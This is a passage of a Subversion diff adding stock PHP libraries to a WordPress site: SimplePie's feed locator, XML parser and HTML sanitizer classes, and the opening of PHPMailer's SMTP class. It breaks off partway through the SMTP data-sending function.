+				if ($parsed['scheme'] === '' || preg_match('/^(http(s)|feed)?$/i', $parsed['scheme']))
+				{
+					if ($this->base_location < $link['offset'])
+					{
+						$href = SimplePie_Misc::absolutize_url(trim($link['attribs']['href']['data']), $this->base);
+					}
+					else
+					{
+						$href = SimplePie_Misc::absolutize_url(trim($link['attribs']['href']['data']), $this->http_base);
+					}
+
+					$current = SimplePie_Misc::parse_url($this->file->url);
+
+					if ($parsed['authority'] === '' || $parsed['authority'] == $current['authority'])
+					{
+						$this->local[] = $href;
+					}
+					else
+					{
+						$this->elsewhere[] = $href;
+					}
+				}
+			}
+		}
+		$this->local = array_unique($this->local);
+		$this->elsewhere = array_unique($this->elsewhere);
+		if (!empty($this->local) || !empty($this->elsewhere))
+		{
+			return true;
+		}
+		return null;
+	}
+
+	function extension(&$array)
+	{
+		foreach ($array as $key => $value)
+		{
+			if ($this->checked_feeds == $this->max_checked_feeds)
+			{
+				break;
+			}
+			if (in_array(strtolower(strrchr($value, '.')), array('.rss', '.rdf', '.atom', '.xml')))
+			{
+				$this->checked_feeds++;
+				$feed =& new $this->file_class($value, $this->timeout, 5, null, $this->useragent);
+				if ($this->is_feed($feed))
+				{
+					return $feed;
+				}
+				else
+				{
+					unset($array[$key]);
+				}
+			}
+		}
+		return null;
+	}
+
+	function body(&$array)
+	{
+		foreach ($array as $key => $value)
+		{
+			if ($this->checked_feeds == $this->max_checked_feeds)
+			{
+				break;
+			}
+			if (preg_match('/(rss|rdf|atom|xml)/i', $value))
+			{
+				$this->checked_feeds++;
+				$feed =& new $this->file_class($value, $this->timeout, 5, null, $this->useragent);
+				if ($this->is_feed($feed))
+				{
+					return $feed;
+				}
+				else
+				{
+					unset($array[$key]);
+				}
+			}
+		}
+		return null;
+	}
+}
+
+class SimplePie_Parser
+{
+	var $error_code;
+	var $error_string;
+	var $current_line;
+	var $current_column;
+	var $current_byte;
+	var $separator = ' ';
+	var $feed = false;
+	var $namespace = array('');
+	var $element = array('');
+	var $xml_base = array('');
+	var $xml_base_explicit = array(false);
+	var $xml_lang = array('');
+	var $data = array();
+	var $datas = array(array());
+	var $current_xhtml_construct = -1;
+	var $encoding;
+
+	function parse(&$data, $encoding)
+	{
+		// Use UTF-8 if we get passed US-ASCII, as every US-ASCII character is a UTF-8 character
+		if (strtoupper($encoding) == 'US-ASCII')
+		{
+			$this->encoding = 'UTF-8';
+		}
+		else
+		{
+			$this->encoding = $encoding;
+		}
+
+		// Strip BOM:
+		// UTF-32 Big Endian BOM
+		if (substr($data, 0, 4) === "\x00\x00\xFE\xFF")
+		{
+			$data = substr($data, 4);
+		}
+		// UTF-32 Little Endian BOM
+		elseif (substr($data, 0, 4) === "\xFF\xFE\x00\x00")
+		{
+			$data = substr($data, 4);
+		}
+		// UTF-16 Big Endian BOM
+		elseif (substr($data, 0, 2) === "\xFE\xFF")
+		{
+			$data = substr($data, 2);
+		}
+		// UTF-16 Little Endian BOM
+		elseif (substr($data, 0, 2) === "\xFF\xFE")
+		{
+			$data = substr($data, 2);
+		}
+		// UTF-8 BOM
+		elseif (substr($data, 0, 3) === "\xEF\xBB\xBF")
+		{
+			$data = substr($data, 3);
+		}
+
+		if (substr($data, 0, 5) === '<?xml' && strspn(substr($data, 5, 1), "\x09\x0A\x0D\x20") && ($pos = strpos($data, '?>')) !== false)
+		{
+			$declaration =& new SimplePie_XML_Declaration_Parser(substr($data, 5, $pos - 5));
+			if ($declaration->parse())
+			{
+				$data = substr($data, $pos + 2);
+				$data = '<?xml version="' . $declaration->version . '" encoding="' . $encoding . '" standalone="' . (($declaration->standalone) ? 'yes' : 'no') . '"?>' . $data;
+			}
+			else
+			{
+				$this->error_string = 'SimplePie bug! Please report this!';
+				return false;
+			}
+		}
+
+		// Work around libxml bug
+		$data = str_replace('&lt;', '&#60;', $data);
+		$data = str_replace('&gt;', '&#62;', $data);
+		$data = str_replace('&amp;', '&#38;', $data);
+		$data = str_replace('&apos;', '&#39;', $data);
+		$data = str_replace('&quot;', '&#34;', $data);
+
+		$return = true;
+
+		// Create the parser
+		$xml = xml_parser_create_ns($this->encoding, $this->separator);
+		xml_parser_set_option($xml, XML_OPTION_SKIP_WHITE, 1);
+		xml_parser_set_option($xml, XML_OPTION_CASE_FOLDING, 0);
+		xml_set_object($xml, $this);
+		xml_set_character_data_handler($xml, 'cdata');
+		xml_set_element_handler($xml, 'tag_open', 'tag_close');
+
+		// Parse!
+		if (!xml_parse($xml, $data, true))
+		{
+			$this->error_code = xml_get_error_code($xml);
+			$this->error_string = xml_error_string($this->error_code);
+			$return = false;
+		}
+		$this->current_line = xml_get_current_line_number($xml);
+		$this->current_column = xml_get_current_column_number($xml);
+		$this->current_byte = xml_get_current_byte_index($xml);
+		xml_parser_free($xml);
+		return $return;
+	}
+
+	function get_error_code()
+	{
+		return $this->error_code;
+	}
+
+	function get_error_string()
+	{
+		return $this->error_string;
+	}
+
+	function get_current_line()
+	{
+		return $this->current_line;
+	}
+
+	function get_current_column()
+	{
+		return $this->current_column;
+	}
+
+	function get_current_byte()
+	{
+		return $this->current_byte;
+	}
+
+	function get_data()
+	{
+		return $this->data;
+	}
+
+	function tag_open($parser, $tag, $attributes)
+	{
+		if ($this->feed === 0)
+		{
+			return;
+		}
+		elseif ($this->feed == false)
+		{
+			if (in_array($tag, array(
+				SIMPLEPIE_NAMESPACE_ATOM_10 . $this->separator . 'feed',
+				SIMPLEPIE_NAMESPACE_ATOM_03 . $this->separator . 'feed',
+				'rss',
+				SIMPLEPIE_NAMESPACE_RDF . $this->separator . 'RDF'
+			)))
+			{
+					$this->feed = 1;
+			}
+		}
+		else
+		{
+			$this->feed++;
+		}
+
+		list($this->namespace[], $this->element[]) = $this->split_ns($tag);
+
+		$attribs = array();
+		foreach ($attributes as $name => $value)
+		{
+			list($attrib_namespace, $attribute) = $this->split_ns($name);
+			$attribs[$attrib_namespace][$attribute] = $value;
+		}
+
+		if (isset($attribs[SIMPLEPIE_NAMESPACE_XML]['base']))
+		{
+			$this->xml_base[] = SimplePie_Misc::absolutize_url($attribs[SIMPLEPIE_NAMESPACE_XML]['base'], end($this->xml_base));
+			$this->xml_base_explicit[] = true;
+		}
+		else
+		{
+			$this->xml_base[] = end($this->xml_base);
+			$this->xml_base_explicit[] = end($this->xml_base_explicit);
+		}
+
+		if (isset($attribs[SIMPLEPIE_NAMESPACE_XML]['lang']))
+		{
+			$this->xml_lang[] = $attribs[SIMPLEPIE_NAMESPACE_XML]['lang'];
+		}
+		else
+		{
+			$this->xml_lang[] = end($this->xml_lang);
+		}
+
+		if ($this->current_xhtml_construct >= 0)
+		{
+			$this->current_xhtml_construct++;
+			if (end($this->namespace) == SIMPLEPIE_NAMESPACE_XHTML)
+			{
+				$this->data['data'] .= '<' . end($this->element);
+				if (isset($attribs['']))
+				{
+					foreach ($attribs[''] as $name => $value)
+					{
+						$this->data['data'] .= ' ' . $name . '="' . htmlspecialchars($value, ENT_COMPAT, $this->encoding) . '"';
+					}
+				}
+				$this->data['data'] .= '>';
+			}
+		}
+		else
+		{
+			$this->datas[] =& $this->data;
+			$this->data =& $this->data['child'][end($this->namespace)][end($this->element)][];
+			$this->data = array('data' => '', 'attribs' => $attribs, 'xml_base' => end($this->xml_base), 'xml_base_explicit' => end($this->xml_base_explicit), 'xml_lang' => end($this->xml_lang));
+			if ((end($this->namespace) == SIMPLEPIE_NAMESPACE_ATOM_03 && in_array(end($this->element), array('title', 'tagline', 'copyright', 'info', 'summary', 'content')) && isset($attribs['']['mode']) && $attribs['']['mode'] == 'xml')
+			|| (end($this->namespace) == SIMPLEPIE_NAMESPACE_ATOM_10 && in_array(end($this->element), array('rights', 'subtitle', 'summary', 'info', 'title', 'content')) && isset($attribs['']['type']) && $attribs['']['type'] == 'xhtml'))
+			{
+				$this->current_xhtml_construct = 0;
+			}
+		}
+	}
+
+	function cdata($parser, $cdata)
+	{
+		if ($this->current_xhtml_construct >= 0)
+		{
+			$this->data['data'] .= htmlspecialchars($cdata, ENT_QUOTES, $this->encoding);
+		}
+		elseif ($this->feed > 1)
+		{
+			$this->data['data'] .= $cdata;
+		}
+	}
+
+	function tag_close($parser, $tag)
+	{
+		if (!$this->feed)
+		{
+			return;
+		}
+
+		if ($this->current_xhtml_construct >= 0)
+		{
+			$this->current_xhtml_construct--;
+			if (end($this->namespace) == SIMPLEPIE_NAMESPACE_XHTML && !in_array(end($this->element), array('area', 'base', 'basefont', 'br', 'col', 'frame', 'hr', 'img', 'input', 'isindex', 'link', 'meta', 'param')))
+			{
+				$this->data['data'] .= '</' . end($this->element) . '>';
+			}
+		}
+		if ($this->current_xhtml_construct == -1)
+		{
+			$this->data =& $this->datas[$this->feed];
+			array_pop($this->datas);
+		}
+
+		array_pop($this->element);
+		array_pop($this->namespace);
+		array_pop($this->xml_base);
+		array_pop($this->xml_base_explicit);
+		array_pop($this->xml_lang);
+		$this->feed--;
+	}
+
+	function split_ns($string)
+	{
+		static $cache = array();
+		if (!isset($cache[$string]))
+		{
+			if ($pos = strpos($string, $this->separator))
+			{
+				static $separator_length;
+				if (!$separator_length)
+				{
+					$separator_length = strlen($this->separator);
+				}
+				$namespace = substr($string, 0, $pos);
+				$local_name = substr($string, $pos + $separator_length);
+				if (strtolower($namespace) === SIMPLEPIE_NAMESPACE_ITUNES)
+				{
+					$namespace = SIMPLEPIE_NAMESPACE_ITUNES;
+				}
+
+				// Normalize the Media RSS namespaces
+				if ($namespace === SIMPLEPIE_NAMESPACE_MEDIARSS_WRONG)
+				{
+					$namespace = SIMPLEPIE_NAMESPACE_MEDIARSS;
+				}
+				$cache[$string] = array($namespace, $local_name);
+			}
+			else
+			{
+				$cache[$string] = array('', $string);
+			}
+		}
+		return $cache[$string];
+	}
+}
+
+/**
+ * @todo Move to using an actual HTML parser (this will allow tags to be properly stripped, and to switch between HTML and XHTML), this will also make it easier to shorten a string while preserving HTML tags
+ */
+class SimplePie_Sanitize
+{
+	// Private vars
+	var $base;
+
+	// Options
+	var $remove_div = true;
+	var $image_handler = '';
+	var $strip_htmltags = array('base', 'blink', 'body', 'doctype', 'embed', 'font', 'form', 'frame', 'frameset', 'html', 'iframe', 'input', 'marquee', 'meta', 'noscript', 'object', 'param', 'script', 'style');
+	var $encode_instead_of_strip = false;
+	var $strip_attributes = array('bgsound', 'class', 'expr', 'id', 'style', 'onclick', 'onerror', 'onfinish', 'onmouseover', 'onmouseout', 'onfocus', 'onblur', 'lowsrc', 'dynsrc');
+	var $strip_comments = false;
+	var $output_encoding = 'UTF-8';
+	var $enable_cache = true;
+	var $cache_location = './cache';
+	var $cache_name_function = 'md5';
+	var $cache_class = 'SimplePie_Cache';
+	var $file_class = 'SimplePie_File';
+	var $timeout = 10;
+	var $useragent = '';
+	var $force_fsockopen = false;
+
+	var $replace_url_attributes = array(
+		'a' => 'href',
+		'area' => 'href',
+		'blockquote' => 'cite',
+		'del' => 'cite',
+		'form' => 'action',
+		'img' => array('longdesc', 'src'),
+		'input' => 'src',
+		'ins' => 'cite',
+		'q' => 'cite'
+	);
+
+	function remove_div($enable = true)
+	{
+		$this->remove_div = (bool) $enable;
+	}
+
+	function set_image_handler($page = false)
+	{
+		if ($page)
+		{
+			$this->image_handler = (string) $page;
+		}
+		else
+		{
+			$this->image_handler = false;
+		}
+	}
+
+	function pass_cache_data($enable_cache = true, $cache_location = './cache', $cache_name_function = 'md5', $cache_class = 'SimplePie_Cache')
+	{
+		if (isset($enable_cache))
+		{
+			$this->enable_cache = (bool) $enable_cache;
+		}
+
+		if ($cache_location)
+		{
+			$this->cache_location = (string) $cache_location;
+		}
+
+		if ($cache_name_function)
+		{
+			$this->cache_name_function = (string) $cache_name_function;
+		}
+
+		if ($cache_class)
+		{
+			$this->cache_class = (string) $cache_class;
+		}
+	}
+
+	function pass_file_data($file_class = 'SimplePie_File', $timeout = 10, $useragent = '', $force_fsockopen = false)
+	{
+		if ($file_class)
+		{
+			$this->file_class = (string) $file_class;
+		}
+
+		if ($timeout)
+		{
+			$this->timeout = (string) $timeout;
+		}
+
+		if ($useragent)
+		{
+			$this->useragent = (string) $useragent;
+		}
+
+		if ($force_fsockopen)
+		{
+			$this->force_fsockopen = (string) $force_fsockopen;
+		}
+	}
+
+	function strip_htmltags($tags = array('base', 'blink', 'body', 'doctype', 'embed', 'font', 'form', 'frame', 'frameset', 'html', 'iframe', 'input', 'marquee', 'meta', 'noscript', 'object', 'param', 'script', 'style'))
+	{
+		if ($tags)
+		{
+			if (is_array($tags))
+			{
+				$this->strip_htmltags = $tags;
+			}
+			else
+			{
+				$this->strip_htmltags = explode(',', $tags);
+			}
+		}
+		else
+		{
+			$this->strip_htmltags = false;
+		}
+	}
+
+	function encode_instead_of_strip($encode = false)
+	{
+		$this->encode_instead_of_strip = (bool) $encode;
+	}
+
+	function strip_attributes($attribs = array('bgsound', 'class', 'expr', 'id', 'style', 'onclick', 'onerror', 'onfinish', 'onmouseover', 'onmouseout', 'onfocus', 'onblur', 'lowsrc', 'dynsrc'))
+	{
+		if ($attribs)
+		{
+			if (is_array($attribs))
+			{
+				$this->strip_attributes = $attribs;
+			}
+			else
+			{
+				$this->strip_attributes = explode(',', $attribs);
+			}
+		}
+		else
+		{
+			$this->strip_attributes = false;
+		}
+	}
+
+	function strip_comments($strip = false)
+	{
+		$this->strip_comments = (bool) $strip;
+	}
+
+	function set_output_encoding($encoding = 'UTF-8')
+	{
+		$this->output_encoding = (string) $encoding;
+	}
+
+	/**
+	 * Set element/attribute key/value pairs of HTML attributes
+	 * containing URLs that need to be resolved relative to the feed
+	 *
+	 * @access public
+	 * @since 1.0
+	 * @param array $element_attribute Element/attribute key/value pairs
+	 */
+	function set_url_replacements($element_attribute = array('a' => 'href', 'area' => 'href', 'blockquote' => 'cite', 'del' => 'cite', 'form' => 'action', 'img' => array('longdesc', 'src'), 'input' => 'src', 'ins' => 'cite', 'q' => 'cite'))
+	{
+		$this->replace_url_attributes = (array) $element_attribute;
+	}
+
+	function sanitize($data, $type, $base = '')
+	{
+		$data = trim($data);
+		if ($data !== '' || $type & SIMPLEPIE_CONSTRUCT_IRI)
+		{
+			if ($type & SIMPLEPIE_CONSTRUCT_MAYBE_HTML)
+			{
+				if (preg_match('/(&(#(x[0-9a-fA-F]+|[0-9]+)|[a-zA-Z0-9]+)|<\/[A-Za-z][^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3E]*' . SIMPLEPIE_PCRE_HTML_ATTRIBUTE . '>)/', $data))
+				{
+					$type |= SIMPLEPIE_CONSTRUCT_HTML;
+				}
+				else
+				{
+					$type |= SIMPLEPIE_CONSTRUCT_TEXT;
+				}
+			}
+
+			if ($type & SIMPLEPIE_CONSTRUCT_BASE64)
+			{
+				$data = base64_decode($data);
+			}
+
+			if ($type & SIMPLEPIE_CONSTRUCT_XHTML)
+			{
+				if ($this->remove_div)
+				{
+					$data = preg_replace('/^<div' . SIMPLEPIE_PCRE_XML_ATTRIBUTE . '>/', '', $data);
+					$data = preg_replace('/<\/div>$/', '', $data);
+				}
+				else
+				{
+					$data = preg_replace('/^<div' . SIMPLEPIE_PCRE_XML_ATTRIBUTE . '>/', '<div>', $data);
+				}
+			}
+
+			if ($type & (SIMPLEPIE_CONSTRUCT_HTML | SIMPLEPIE_CONSTRUCT_XHTML))
+			{
+				// Strip comments
+				if ($this->strip_comments)
+				{
+					$data = SimplePie_Misc::strip_comments($data);
+				}
+
+				// Strip out HTML tags and attributes that might cause various security problems.
+				// Based on recommendations by Mark Pilgrim at:
+				// http://diveintomark.org/archives/2003/06/12/how_to_consume_rss_safely
+				if ($this->strip_htmltags)
+				{
+					foreach ($this->strip_htmltags as $tag)
+					{
+						$pcre = "/<($tag)" . SIMPLEPIE_PCRE_HTML_ATTRIBUTE . "(>(.*)<\/$tag" . SIMPLEPIE_PCRE_HTML_ATTRIBUTE . '>|(\/)?>)/siU';
+						while (preg_match($pcre, $data))
+						{
+							$data = preg_replace_callback($pcre, array(&$this, 'do_strip_htmltags'), $data);
+						}
+					}
+				}
+
+				if ($this->strip_attributes)
+				{
+					foreach ($this->strip_attributes as $attrib)
+					{
+						$data = preg_replace('/(<[A-Za-z][^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3E]*)' . SIMPLEPIE_PCRE_HTML_ATTRIBUTE . trim($attrib) . '(?:\s*=\s*(?:"(?:[^"]*)"|\'(?:[^\']*)\'|(?:[^\x09\x0A\x0B\x0C\x0D\x20\x22\x27\x3E][^\x09\x0A\x0B\x0C\x0D\x20\x3E]*)?))?' . SIMPLEPIE_PCRE_HTML_ATTRIBUTE . '>/', '\1\2\3>', $data);
+					}
+				}
+
+				// Replace relative URLs
+				$this->base = $base;
+				foreach ($this->replace_url_attributes as $element => $attributes)
+				{
+					$data = $this->replace_urls($data, $element, $attributes);
+				}
+
+				// If image handling (caching, etc.) is enabled, cache and rewrite all the image tags.
+				if (isset($this->image_handler) && ((string) $this->image_handler) !== '' && $this->enable_cache)
+				{
+					$images = SimplePie_Misc::get_element('img', $data);
+					foreach ($images as $img)
+					{
+						if (isset($img['attribs']['src']['data']))
+						{
+							$image_url = call_user_func($this->cache_name_function, $img['attribs']['src']['data']);
+							$cache = call_user_func(array($this->cache_class, 'create'), $this->cache_location, $image_url, 'spi');
+
+							if ($cache->load())
+							{
+								$img['attribs']['src']['data'] = $this->image_handler . $image_url;
+								$data = str_replace($img['full'], SimplePie_Misc::element_implode($img), $data);
+							}
+							else
+							{
+								$file =& new $this->file_class($img['attribs']['src']['data'], $this->timeout, 5, array('X-FORWARDED-FOR' => $_SERVER['REMOTE_ADDR']), $this->useragent, $this->force_fsockopen);
+								$headers = $file->headers;
+
+								if ($file->success && ($file->status_code == 200 || ($file->status_code > 206 && $file->status_code < 300)))
+								{
+									if ($cache->save(array('headers' => $file->headers, 'body' => $file->body)))
+									{
+										$img['attribs']['src']['data'] = $this->image_handler . $image_url;
+										$data = str_replace($img['full'], SimplePie_Misc::element_implode($img), $data);
+									}
+									else
+									{
+										trigger_error("$cache->name is not writeable", E_USER_WARNING);
+									}
+								}
+							}
+						}
+					}
+				}
+
+				// Having (possibly) taken stuff out, there may now be whitespace at the beginning/end of the data
+				$data = trim($data);
+			}
+
+			if ($type & SIMPLEPIE_CONSTRUCT_IRI)
+			{
+				$data = SimplePie_Misc::absolutize_url($data, $base);
+			}
+
+			if ($type & (SIMPLEPIE_CONSTRUCT_TEXT | SIMPLEPIE_CONSTRUCT_IRI))
+			{
+				$data = htmlspecialchars($data, ENT_COMPAT, 'UTF-8');
+			}
+
+			if ($this->output_encoding != 'UTF-8')
+			{
+				$data = SimplePie_Misc::change_encoding($data, 'UTF-8', $this->output_encoding);
+			}
+		}
+		return $data;
+	}
+
+	function replace_urls($data, $tag, $attributes)
+	{
+		if (!is_array($this->strip_htmltags) || !in_array($tag, $this->strip_htmltags))
+		{
+			$elements = SimplePie_Misc::get_element($tag, $data);
+			foreach ($elements as $element)
+			{
+				if (is_array($attributes))
+				{
+					foreach ($attributes as $attribute)
+					{
+						if (isset($element['attribs'][$attribute]['data']))
+						{
+							$element['attribs'][$attribute]['data'] = SimplePie_Misc::absolutize_url($element['attribs'][$attribute]['data'], $this->base);
+							$new_element = SimplePie_Misc::element_implode($element);
+							$data = str_replace($element['full'], $new_element, $data);
+							$element['full'] = $new_element;
+						}
+					}
+				}
+				elseif (isset($element['attribs'][$attributes]['data']))
+				{
+					$element['attribs'][$attributes]['data'] = SimplePie_Misc::absolutize_url($element['attribs'][$attributes]['data'], $this->base);
+					$data = str_replace($element['full'], SimplePie_Misc::element_implode($element), $data);
+				}
+			}
+		}
+		return $data;
+	}
+
+	function do_strip_htmltags($match)
+	{
+		if ($this->encode_instead_of_strip)
+		{
+			if (isset($match[4]) && !in_array(strtolower($match[1]), array('script', 'style')))
+			{
+				$match[1] = htmlspecialchars($match[1], ENT_COMPAT, 'UTF-8');
+				$match[2] = htmlspecialchars($match[2], ENT_COMPAT, 'UTF-8');
+				return "&lt;$match[1]$match[2]&gt;$match[3]&lt;/$match[1]&gt;";
+			}
+			else
+			{
+				return htmlspecialchars($match[0], ENT_COMPAT, 'UTF-8');
+			}
+		}
+		elseif (isset($match[4]) && !in_array(strtolower($match[1]), array('script', 'style')))
+		{
+			return $match[4];
+		}
+		else
+		{
+			return '';
+		}
+	}
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-includes/class-smtp.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/class-smtp.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/class-smtp.php	(revision 44)
@@ -0,0 +1,1062 @@
+<?php
+/*~ class.smtp.php
+.---------------------------------------------------------------------------.
+|  Software: PHPMailer - PHP email class                                    |
+|   Version: 2.0.4                                                          |
+|   Contact: via sourceforge.net support pages (also www.codeworxtech.com)  |
+|      Info: http://phpmailer.sourceforge.net                               |
+|   Support: http://sourceforge.net/projects/phpmailer/                     |
+| ------------------------------------------------------------------------- |
+|    Author: Andy Prevost (project admininistrator)                         |
+|    Author: Brent R. Matzelle (original founder)                           |
+| Copyright (c) 2004-2007, Andy Prevost. All Rights Reserved.               |
+| Copyright (c) 2001-2003, Brent R. Matzelle                                |
+| ------------------------------------------------------------------------- |
+|   License: Distributed under the Lesser General Public License (LGPL)     |
+|            http://www.gnu.org/copyleft/lesser.html                        |
+| This program is distributed in the hope that it will be useful - WITHOUT  |
+| ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or     |
+| FITNESS FOR A PARTICULAR PURPOSE.                                         |
+| ------------------------------------------------------------------------- |
+| We offer a number of paid services (www.codeworxtech.com):                |
+| - Web Hosting on highly optimized fast and secure servers                 |
+| - Technology Consulting                                                   |
+| - Oursourcing (highly qualified programmers and graphic designers)        |
+'---------------------------------------------------------------------------'
+ */
+/**
+ * SMTP is rfc 821 compliant and implements all the rfc 821 SMTP
+ * commands except TURN which will always return a not implemented
+ * error. SMTP also provides some utility methods for sending mail
+ * to an SMTP server.
+ * @package PHPMailer
+ * @author Chris Ryan
+ */
+
+class SMTP
+{
+  /**
+   *  SMTP server port
+   *  @var int
+   */
+  var $SMTP_PORT = 25;
+
+  /**
+   *  SMTP reply line ending
+   *  @var string
+   */
+  var $CRLF = "\r\n";
+
+  /**
+   *  Sets whether debugging is turned on
+   *  @var bool
+   */
+  var $do_debug;       # the level of debug to perform
+
+  /**
+   *  Sets VERP use on/off (default is off)
+   *  @var bool
+   */
+  var $do_verp = false;
+
+  /**#@+
+   * @access private
+   */
+  var $smtp_conn;      # the socket to the server
+  var $error;          # error if any on the last call
+  var $helo_rply;      # the reply the server sent to us for HELO
+  /**#@-*/
+
+  /**
+   * Initialize the class so that the data is in a known state.
+   * @access public
+   * @return void
+   */
+  function SMTP() {
+    $this->smtp_conn = 0;
+    $this->error = null;
+    $this->helo_rply = null;
+
+    $this->do_debug = 0;
+  }
+
+  /*************************************************************
+   *                    CONNECTION FUNCTIONS                  *
+   ***********************************************************/
+
+  /**
+   * Connect to the server specified on the port specified.
+   * If the port is not specified use the default SMTP_PORT.
+   * If tval is specified then a connection will try and be
+   * established with the server for that number of seconds.
+   * If tval is not specified the default is 30 seconds to
+   * try on the connection.
+   *
+   * SMTP CODE SUCCESS: 220
+   * SMTP CODE FAILURE: 421
+   * @access public
+   * @return bool
+   */
+  function Connect($host,$port=0,$tval=30) {
+    # set the error val to null so there is no confusion
+    $this->error = null;
+
+    # make sure we are __not__ connected
+    if($this->connected()) {
+      # ok we are connected! what should we do?
+      # for now we will just give an error saying we
+      # are already connected
+      $this->error = array("error" => "Already connected to a server");
+      return false;
+    }
+
+    if(empty($port)) {
+      $port = $this->SMTP_PORT;
+    }
+
+    #connect to the smtp server
+    $this->smtp_conn = fsockopen($host,    # the host of the server
+                                 $port,    # the port to use
+                                 $errno,   # error number if any
+                                 $errstr,  # error message if any
+                                 $tval);   # give up after ? secs
+    # verify we connected properly
+    if(empty($this->smtp_conn)) {
+      $this->error = array("error" => "Failed to connect to server",
+                           "errno" => $errno,
+                           "errstr" => $errstr);
+      if($this->do_debug >= 1) {
+        echo "SMTP -> ERROR: " . $this->error["error"] .
+                 ": $errstr ($errno)" . $this->CRLF;
+      }
+      return false;
+    }
+
+    # sometimes the SMTP server takes a little longer to respond
+    # so we will give it a longer timeout for the first read
+    // Windows still does not have support for this timeout function
+    if(substr(PHP_OS, 0, 3) != "WIN")
+     socket_set_timeout($this->smtp_conn, $tval, 0);
+
+    # get any announcement stuff
+    $announce = $this->get_lines();
+
+    # set the timeout  of any socket functions at 1/10 of a second
+    //if(function_exists("socket_set_timeout"))
+    //   socket_set_timeout($this->smtp_conn, 0, 100000);
+
+    if($this->do_debug >= 2) {
+      echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
+    }
+
+    return true;
+  }
+
+  /**
+   * Performs SMTP authentication.  Must be run after running the
+   * Hello() method.  Returns true if successfully authenticated.
+   * @access public
+   * @return bool
+   */
+  function Authenticate($username, $password) {
+    // Start authentication
+    fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
+
+    $rply = $this->get_lines();
+    $code = substr($rply,0,3);
+
+    if($code != 334) {
+      $this->error =
+        array("error" => "AUTH not accepted from server",
+              "smtp_code" => $code,
+              "smtp_msg" => substr($rply,4));
+      if($this->do_debug >= 1) {
+        echo "SMTP -> ERROR: " . $this->error["error"] .
+                 ": " . $rply . $this->CRLF;
+      }
+      return false;
+    }
+
+    // Send encoded username
+    fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
+
+    $rply = $this->get_lines();
+    $code = substr($rply,0,3);
+
+    if($code != 334) {
+      $this->error =
+        array("error" => "Username not accepted from server",
+              "smtp_code" => $code,
+              "smtp_msg" => substr($rply,4));
+      if($this->do_debug >= 1) {
+        echo "SMTP -> ERROR: " . $this->error["error"] .
+                 ": " . $rply . $this->CRLF;
+      }
+      return false;
+    }
+
+    // Send encoded password
+    fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
+
+    $rply = $this->get_lines();
+    $code = substr($rply,0,3);
+
+    if($code != 235) {
+      $this->error =
+        array("error" => "Password not accepted from server",
+              "smtp_code" => $code,
+              "smtp_msg" => substr($rply,4));
+      if($this->do_debug >= 1) {
+        echo "SMTP -> ERROR: " . $this->error["error"] .
+                 ": " . $rply . $this->CRLF;
+      }
+      return false;
+    }
+
+    return true;
+  }
+
+  /**
+   * Returns true if connected to a server otherwise false
+   * @access private
+   * @return bool
+   */
+  function Connected() {
+    if(!empty($this->smtp_conn)) {
+      $sock_status = socket_get_status($this->smtp_conn);
+      if($sock_status["eof"]) {
+        # hmm this is an odd situation... the socket is
+        # valid but we are not connected anymore
+        if($this->do_debug >= 1) {
+            echo "SMTP -> NOTICE:" . $this->CRLF .
+                 "EOF caught while checking if connected";
+        }
+        $this->Close();
+        return false;
+      }
+      return true; # everything looks good
+    }
+    return false;
+  }
+
+  /**
+   * Closes the socket and cleans up the state of the class.
+   * It is not considered good to use this function without
+   * first trying to use QUIT.
+   * @access public
+   * @return void
+   */
+  function Close() {
+    $this->error = null; # so there is no confusion
+    $this->helo_rply = null;
+    if(!empty($this->smtp_conn)) {
+      # close the connection and cleanup
+      fclose($this->smtp_conn);
+      $this->smtp_conn = 0;
+    }
+  }
+
+  /***************************************************************
+   *                        SMTP COMMANDS                       *
+   *************************************************************/
+
+  /**
+   * Issues a data command and sends the msg_data to the server
+   * finializing the mail transaction. $msg_data is the message
+   * that is to be send with the headers. Each header needs to be
+   * on a single line followed by a <CRLF> with the message headers
+   * and the message body being seperated by and additional <CRLF>.
+   *
+   * Implements rfc 821: DATA <CRLF>
+   *
+   * SMTP CODE INTERMEDIATE: 354
+   *     [data]
+   *     <CRLF>.<CRLF>
+   *     SMTP CODE SUCCESS: 250
+   *     SMTP CODE FAILURE: 552,554,451,452
+   * SMTP CODE FAILURE: 451,554
+   * SMTP CODE ERROR  : 500,501,503,421
+   * @access public
+   * @return bool
+   */
+  function Data($msg_data) {
+    $this->error = null; # so no confusion is caused
+
+    if(!$this->connected()) {
+      $this->error = array(
+              "error" => "Called Data() without being connected");
+      return false;
+    }
+
+    fputs($this->smtp_conn,"DATA" . $this->CRLF);
+
+    $rply = $this->get_lines();
+    $code = substr($rply,0,3);
+
+    if($this->do_debug >= 2) {
+      echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
+    }
+
+    if($code != 354) {
+      $this->error =
+        array("error" => "DATA command not accepted from server",
+              "smtp_code" => $code,
+              "smtp_msg" => substr($rply,4));
+      if($this->do_debug >= 1) {
+        echo "SMTP -> ERROR: " . $this->error["error"] .
+                 ": " . $rply . $this->CRLF;
+      }
+      return false;
+    }
+
+    # the server is ready to accept data!
+    # according to rfc 821 we should not send more than 1000
+    # including the CRLF
+    # characters on a single line so we will break the data up
+    # into lines by \r and/or \n then if needed we will break
+    # each of those into smaller lines to fit within the limit.
+    # in addition we will be looking for lines that start with
+    # a period '.' and append and additional period '.' to that
+    # line. NOTE: this does not count towards are limit.
+
+    # normalize the line breaks so we know the explode works
+    $msg_data = str_replace("\r\n","\n",$msg_data);
+    $msg_data = str_replace("\r","\n",$msg_data);
+    $lines = explode("\n",$msg_data);
+
+    # we need to find a good way to determine is headers are
+    # in the msg_data or if it is a straight msg body
+    # currently I am assuming rfc 822 definitions of msg headers
+    # and if the first field of the first line (':' sperated)
+    # does not contain a space then it _should_ be a header
+    # and we can process all lines before a blank "" line as
+    # headers.
+    $field = substr($lines[0],0,strpos($lines[0],":"));
+    $in_headers = false;
+    if(!empty($field) && !strstr($field," ")) {
+      $in_headers = true;
+    }
+
+    $max_line_length = 998; # used below; set here for ease in change
+
+    while(list(,$line) = @each($lines)) {
+      $lines_out = null;
